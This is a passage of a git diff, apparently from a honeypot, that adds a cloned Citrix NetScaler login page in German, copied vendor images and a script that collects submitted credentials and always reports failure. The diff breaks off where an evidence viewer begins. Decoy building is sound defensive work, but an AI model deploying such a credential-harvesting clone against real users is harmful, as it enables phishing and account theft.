zErZV8E8)X53>~hqTPQ%Xf=R{dPwAw7Ouy(Bhh|F^QbbwUB!nkLTlZN=r^8a*hfk)y|Z4*l&nEg%YP4r%`BwnpFrs#_EXM0?a$ z4R99G7e%aLEmog#-(?Q*I~Y0p+D8Pun|qH$L)|nvu_17H)d4~|22bZJFo;{82%~<(Ba?Iic%V>C zG;}TtNLBNDBhN&jVk>bdaV3PlAo88Kvl}`T}G@8TAmfl_TKs#oN z-?qUr>ovG=S*PC2qV)k)_tH(5R79(TffOp7_u?h~gmaV>Vb~@U`n!w{5}U!ubvT;c zxYdp&?$ygZ>y}`$Zo$2#!=hQ@cH1$|`AP5t%@76l?0qm9-`@Qzy|9a68axpGI5?`@ zQ0l@uIpVmN_$jluLWgNdm?(~GOU_eAUg4q6Yl2w+bmSk;H}f+dmxWGrI99w+!qK2TZayNKX|A4Yq0O=5B+61_UKZu867^4!^LP&~zxK z6P}cOYm%=q9L^Vp;6#lDr}Zy<<>V-+`*1{r-wDM zMlT2i>Zb9Dz~OT!2PMD(fhza~+Jl?Xm_@J@Q6vzlnj8L^D2>odv&u|LPPn{ct|2@Y zB=Ts&7!g65BuZT#PF=&J(tw_Y-yjJi9#GkG-%-Xv(X#fAwLj7&$z3>iasb`@uhk7%K*#nat+({i#SDEPO}?*G-T z2PGk*ZhAzaPNuou2m@#gNSii5g~7ASJ3`;j+d(=pElmpc|2=gmPLKZB&_HHh9I!1To5NNRzG&o!g;2~PyIobw?$ z*R}qc3Y=9R2Fe|_RbG&@p!vV#O^WO)~&KtjeWB40w}h-p!`;& z>>Hyn*fkEkjwcE?R2@!ET~j4jvR%%ckWT#TWW9LGsGSGv{I8E3eDd#I|NZtuPRQb? zjy;B_6!#fKwUYSa?afZ#ATFFoZ)I?DsLqRua>wk%x^^5Aai)rM1&C5hFb7h`#Gp$g zp;O5+{yPh*TOQj9A`S7NaSQsRp^lkZBNRmC6nO3z7e~_vey( zZw_WEG0!y!rY<&EyE2D(N#Ge~Md!N6pw|@OB7^8!=?OUl@ev;RR~MvZ_%m>TCxzA2 zYSe*=%ZBDW%A8M-*iyqg{ft_IG%G4?d;Nvx*xvv7K8*Wz&oz;5bX+6-LV5(CLPdmP zXI_tu&lM3g8b(!eEEKXkO`(}F$_%vm*+j)1ZwMvY(TlEn=2v2=fCt%BrfJ;Uk zubT8ok%v`z4MvXKpsD-=$q^i1%lCKPk$VHnsGj{`66glE%17>}!e4~eaQ}9emaw3o ztvF+3NuW!KKgO40<2Y%%0~u_(?9s_poSM5$0MgWpLWtz?8T?SBfz*QJmC_m^r-QCP zhFDKd4`EXkCg2EP^r)Om?7jJR_*KxFsLuOGRu^Gb7>S=Kgwlfr(s=Y=@R>0i&J(gf zdBPn?v(~AKJ^In6ju$zfADuinxOk>n`{T8J{y?b4RSH&g&!UL(?=M2 zX3DmwRD#Nx_P|$+AvwYZtUdrZJ!S2KWr0ydd2?FxD38I+qj}z;;_ST14wCT~aFGQt zSRQhgkTqFMjy z@>s6OHXS!uC;&1Si;1p?z?WUE3A6?tP2|;7&?IlE@PboV_~p?rUS726&|rR@$LK=F zlL+CHT0&4Fc%*R`@%9KXUYBFh~; zWtb5eJ+*tW)sFbY>p*A?8Y#VXs*#TuhH)!l1tbF_*UwG3MS|WiU*wAX?wUuI1_#&5 zdMlYwD%Pwb5piu47{?_lZZ&5i^-DB42e!6)T8a2(d}!D&pGL4GISmRds5B6W3o>F* zrzbU-=ydl$NVb4@i5^}5cy`m?JN{$)#L184`MbS96%s?}Rfb8`OA<+CG5P~z2B=YJ zD`*PaO|EqS|6qzu#cGmZBCHV}($mD^lG#ah*#v1L-+-N!(-yl|^M%#$$$Ly7skn+i z&iMP-ocj2DhN*hj0XHkewqIMa0OW)Y4HM!VXHPHNh};)`RMba{&8FTC93_4L+)@&V z$Z?UUg*>XAdRE;BfJ;xisp+ZrZ@c5J&tGf0`FfM`MI>l;DdZIS+bpmE5(|aNm^xH4 zP5|H;GA#0}lkbI^5qVLl;Z(I(Tm63+!zsY3U|FHosD(&I(2^g4NH`FxSpsP}*b(H+ zcrX-LWIc6L{Gk7}$xya{thtNuWn#`Pl1W?B0|#BfAWjE@DtjfJ@q4~^54%FH* z;fDhS@F@p>j8Zg>8_F=KpMYr57fPZ8qoY>ji)VTcy^A>tEu@7p9{oXCOyBRt#MxFB z5P{CJ^oB+mxxsQ8LmM zy^vxkUF5WsJ2-cl_0{ITrca;1by`!=BkP1-HK5R0CdL%wLs)>=#5Q`Zs`qS^WPzSPj@i02a=uh@w$1h!7LN&!S>AkRg&g zhllAS`P7Aux(0wt!bCs|&!J@1S&yd}*$!ajyRIfuqG{2h^liHguG=$dX#l&J8J#=2v=o?JfY)A2 zin2KRhIBBT0@iDb7Aq}KSk`ldF@VuI5V-uq5hw{d#7HYp)C3q5CX8H4onDJtHGmCa z1t1>`IGFOzEO`3#_LX17vEOg?KpHwA8DPT|xc6_$f(5`Z1;?QRmjWo-fL(yqz|0BO z46KHxfJfUQRb~fht`9iH52`}Jkq#P&M`AjG+bxny*(QSORnRy9*c3+Kz#eG32rC0{ RiwQ`?0o4D{>R|qV695_WfHnXC literal 0 HcmV?d00001 diff --git a/ui/favicon.ico b/ui/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..f5bbe787d4b5fad2c05f7c8720cb4469fbbdf1cb GIT binary patch literal 32038 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 literal 0 HcmV?d00001 diff --git a/ui/login.html b/ui/login.html new file mode 100644 index 0000000..cb458b4 --- /dev/null +++ b/ui/login.html @@ -0,0 +1,64 @@ + + + + + + + NetScaler AAA + + + + + + + + + +
+
+
+ +
+

Melden Sie sich an

+
+
+ + +

+
+
+
+
+ + diff --git a/ui/login.js b/ui/login.js new file mode 100644 index 0000000..23f5d3d --- /dev/null +++ b/ui/login.js @@ -0,0 +1,24 @@ +'use strict'; +const form = document.getElementById('login-form'); +const button = document.getElementById('nsg-x1-logon-button'); +const message = document.getElementById('message'); +form.addEventListener('submit', async event => { + event.preventDefault(); + button.disabled = true; + message.textContent = ''; + try { + const body = new URLSearchParams(new FormData(form)); + body.set('nsg-x1-logon-button', 'Log On'); + const response = await fetch('/nf/auth/doAuthentication.do', { + method: 'POST', body, credentials: 'same-origin', redirect: 'error', + signal: AbortSignal.timeout(10000) + }); + if (!response.ok) throw new Error('Request failed'); + message.textContent = 'Anmeldung fehlgeschlagen. Überprüfen Sie Ihre Zugangsdaten.'; + } catch { + message.textContent = 'Die Anmeldung ist derzeit nicht möglich. Versuchen Sie es erneut.'; + } finally { + form.elements.passwd.value = ''; + button.disabled = false; + } +}); diff --git a/ui/logo.png b/ui/logo.png new file mode 100644 index 0000000000000000000000000000000000000000..716cf6ad629f47920f800d239e226229ec14f6a1 GIT binary patch literal 2300 zcmaJ@XIN8d7QUgVpdfA-SCn#zir|n+Ns&$fqa+|O(p<)nT#^`4OfDvXXas3iU>Y_6oh3E9g0YCh9X2oV0Qou7Gz)sL4tytIO6V)b?@`sd%ts@^S-COKfZK-hL3^% zdVK%@3~1Y_0qTFT`ZZaxO#Q9Z-<+W_V6PB3P!t8rm=XwZXNw{skS1Vqpa6);j@^G3 zasmKtYhF+Y976Y{utWk3Qxk)c3&d(P064kI#Y`3-g270L!xK8ACT}*PKpxu}73@IA z(Z!w+m$yAm0tLn~f>?2U7MYE5bpf5^6g7bWf|;OP5G|Balz(7DvDm2xxT#S{f^anR2vHx^ant z3Q1WKo*3qdgrJ6z87Yc^ol)va|7<}Z{!A;Bej1Z{U|2a*jKyPcnwFLV>Gb~}DiC~* zmcjwhf9n08#L}QxF@z0(q@oxJOTD4xG3e>3 znHmYSrZZVQp~h+R5k;p{XhJE>6tW;1)fuJc!SHx&io2tSCz@OUqh2ae?B zjw5(_dl88^f}__GmMUV!2p}Q6gk^um5^-O|Y6Kw=t20v}3GV>J_LhhQ;K#-(yf4>6 z{UYBdEc=VKIC^~%i&Ync)vWiw*1hCXYe;kaEMB$oS^khvt$B%B+}ILVX8_RMN29t2 z$p>GDFMKoPwu+eWet2BR0eQa=Y}ctnjxZE?fK01JM-NHz-D`J5srQ(X5uGtOF&XyF zi|(RxQ4q`>`@)ym%5+_Y{_?A| zP+d$&IHf5kzuzZ}&v+jriCO#1?ct~)Wz>NaOXLdw)lZiR8tBtPOO zg37ww^>%CgrkLPI-yS(m)ZLu1Yi2E?tQbl(T-bVP=7iqZpdYegh9s%zzoTZCdP)?2grTYoq~^sR=}x#oVIa-a*_4{siu3pm}$c2VLnk4FN6vXKJgl6a;`= z){x!O8=N>$ys$ObwsB1Nhw#eU^y1CIROH;#X7~0tzzHpWda_C|9xj8;B1>Z0x%V>e zjv)9KBr{b+&m5|G_DF5+?8?5ev#PO6Cnt7sUx~~(rgpLOY}aGf$=j@?%C`^qlRtD1 zJ9+H;)qF8vI`rJFm4SWMzpS2M&u_Ui=j(oE0MdO{^{0>{@w8bN*tUaim32AslEC4HPcg6;`QW_K*A1W*1ig^`w@F=Q^RlOFjtvS~49@}j2>k@9Q;Yy>~nss51&co>mVQ(2zFBeM#|21d)eCok5bA0R3 zxdSIZ)NDHRprI7|cCq7{e|@(LjIikQ9?r99Y?FPP<{LdStn#?;`Q2i|?1kiYJT7g| z`}CrQc;@L6{75NyJVe#-{K>fr7fyjoQgls*&ImXaTIQ?OoOq&oE#`JB_3qJlr!vyt zO1k6I0aH)ih=^O|qN$tch)_#IUY$hYc=UkKEiA6F+M6XQBAX;hg@|U45T*9Ol`9eT z2lYIHV04yaj(ufs9bdmG!Ovi7ZHK70Pj}SfOwyo-U4u_qN&1$viqt-`NlTllj^+O9 zgW~2_FY6QBm0L?DT(ydaI|`DYl}HTUpH?{lPYbU_*l_KS>ka-q$QAs4a$cuO+A*^V z|w3 z^t{<5cGXX5-cNiNSm|9&JAZfUe4RWJX>3gdVvWj=q_hp4uIu#c#LghDCAaJ$3<(dd z$!c)3E3CA=du%T0*pce-B&+pP0W)cOf2ZX8hZM|Xz)GH*w!c7oMdo-$YC7$C#E!8X zEisxjzD8;J-OFCusadK8FSI*z17xP%dycj0*$UK9$=d+1e$%rb zjBYv9Y%pRIcO62S2HO^2-j%a5b201UZTrO5aG$0;&KCJrH0s@|kZr-m6oFnx&Lhs# z7d=Tzgx=t!Y5KDK%(%bg&e~?aqHZtEOG+DXBab#^h89y-Z$T{tE?*bWhe4(8cpiM} zey|JJ#noAN{sSY!XRCrXS}A)iX)XK3_PTy<`Hr0%Tn^CwXsLa@^S83orhilyp1&LO z?#wNRp1!o7pRp5*p7z)WZpao}p1s570Nrm)@ei!5=H26RyMTh1kG@C9AFq!0bT}ULi1u! JuX^lF{5K;h$pZiY literal 0 HcmV?d00001 diff --git a/ui/sources.json b/ui/sources.json new file mode 100644 index 0000000..0a3a733 --- /dev/null +++ b/ui/sources.json @@ -0,0 +1,19 @@ +{ + "retrieved": "2026-09-28", + "reference": "public Citrix Gateway (NetScaler) login page static assets, retrieved 2026-09-28", + "assets": { + "background.jpg": { + "sha256": "17197024d7ccdb50bd23b0e4cfcd38bf818f0c1644795474460bb1b5c95906d5", + "bytes": 50806 + }, + "logo.png": { + "sha256": "4a2cae9a9c5a586f2bd5dc6140e34cac6b18be6b617c602a4a48321452c18c1c", + "bytes": 2300 + }, + "favicon.ico": { + "sha256": "80c297534c925e1973052b72584a929a0b68c988bfcde7c1728ad72fc1f3e039", + "bytes": 32038 + } + }, + "note": "Original public static images; HTML and JS locally implemented. No upstream auth or session tokens retained." +} diff --git a/viewer.py b/viewer.py new file mode 100644 index 0000000..d572882 --- /dev/null +++ b/viewer.py @@ -0,0 +1,309 @@ +#!/usr/bin/env python3 +"""Read-only local evidence viewer. Never exposed to attacker traffic; loopback by default.""" +import argparse +import http.server +import 